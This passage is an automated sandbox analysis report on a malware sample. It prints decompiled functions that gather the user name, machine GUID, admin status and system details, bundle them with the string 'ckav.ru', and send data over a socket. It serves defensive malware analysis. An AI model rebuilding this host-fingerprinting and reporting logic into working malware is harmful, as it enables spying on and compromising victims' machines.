SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t31;
				void* _t33;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10; // executed
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					_t31 = E004063B2(0, _t53, _t79); // executed
					E004058D4( *0x49fde0, _t31); // executed
					_t33 = E004060BD(_t79); // executed
					E004058D4( *0x49fde0, _t33); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e92
0x00412e9e
0x00412ea3
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: 0c36caef9c7c41fd875b4d08fbd99bdca921340744b7e48925f82431a1c9c547
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: 0c36caef9c7c41fd875b4d08fbd99bdca921340744b7e48925f82431a1c9c547
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 0041284A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041284A(void* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, int _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 2, 0xebb783d2, 0, 0);
				_t7 = SHRegSetPathW(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00412858
0x0041286c
0x0041286f

APIs

SHRegSetPathW.SHLWAPI(00000000,?,00000000,-80000001,00412D05,00000002,EBB783D2,00000000,00000000,5,A,00412D05,-80000001,00000000,5,A,00000000,00000000), ref: 0041286C

Strings

5,A, xrefs: 0041284A

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Path
String ID: 5,A
API String ID: 2875597873-3842761921
Opcode ID: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction ID: e513a9aa1dc03f827004651369457c754081445531a40a51076ab4492d9af12d
Opcode Fuzzy Hash: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction Fuzzy Hash: 48D0C93214020DBBDF026EC1DC02F9A3F2AAB48754F004014BB18280A1D6B3A630ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406086 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52 Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNEL32(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: d1f2fb2556a871af1fc4752e03a9bf04d918b6bfb0020d432be877112e0c6869
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: d1f2fb2556a871af1fc4752e03a9bf04d918b6bfb0020d432be877112e0c6869
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00404056 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00404056(void* __ebx, intOrPtr _a4) {
				intOrPtr* _t5;
				void* _t6;
				void* _t14;

				_t14 = E00402B7C(0x208);
				if(_t14 == 0) {
					L4:
					return 0;
				}
				E00402B4E(_t14, 0, 0x208);
				_t5 = E004031E5(__ebx, 0xa, 0xc7f71852, 0, 0);
				_t6 =  *_t5(0, _a4, 0, 0, _t14); // executed
				if(_t6 != 0) {
					E00402BAB(_t14);
					goto L4;
				}
				return _t14;
			}

0x00404066
0x0040406b
0x004040a0
0x00000000
0x004040a0
0x00404072
0x00404083
0x0040408f
0x00404093
0x0040409a
0x00000000
0x0040409f
0x00000000

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,0000000A,C7F71852,00000000,00000000,00413CAD,0000001A,00000001), ref: 0040408F

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFolderPathProcess
String ID:
API String ID: 398210565-0
Opcode ID: 21382643b5f60f7d3801c56f46f58bf1107391f6545fb4a807863915b34cde73
Instruction ID: 7d0b33caadbb1370849e9dfd1ecad86b360ac2e9a1dca59c17201c727c4e1007
Opcode Fuzzy Hash: 21382643b5f60f7d3801c56f46f58bf1107391f6545fb4a807863915b34cde73
Instruction Fuzzy Hash: 57E06D6260156136D23129A7AC09D6B6E7DCBD3FA5B00003FF708F52C1D96D990281BA

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNEL32(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 004044A7 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044A7(WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				long _t9;
				void* _t10;

				E004031E5(_t10, 0, 0xf66be5a2, 0, 0);
				_t9 = GetPrivateProfileStringW(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t9;
			}

0x004044b4
0x004044cb
0x004044ce

APIs

GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction ID: e6a1e737d40be81796f932fb1ea6dd5b05bd2579ff383e5fb5a00b3a8c54de51
Opcode Fuzzy Hash: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction Fuzzy Hash: 52D0C27604410DBFDF025EE1DC05CAB3F6EEB48354B408425BE2895021D637DA71ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 004049B3 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049B3(void* _a4, WCHAR* _a8, WCHAR* _a12, DWORD* _a16, void* _a20, DWORD* _a24) {
				int _t8;
				void* _t9;

				E004031E5(_t9, 2, 0xdc1011d7, 0, 0);
				_t8 = SHGetValueW(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t8;
			}

0x004049c1
0x004049d8
0x004049db

APIs

SHGetValueW.SHLWAPI(?,?,?,?,?,?,00000002,DC1011D7,00000000,00000000), ref: 004049D8

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction ID: 49132b90e07f175002bb52db16c83daeb6fc20f74050e769a3614ef6a11dfcc0
Opcode Fuzzy Hash: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction Fuzzy Hash: 71D0923214020DBBDF026ED1DC02FAA3F2AAB09758F104014FB18280A1C677D631AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
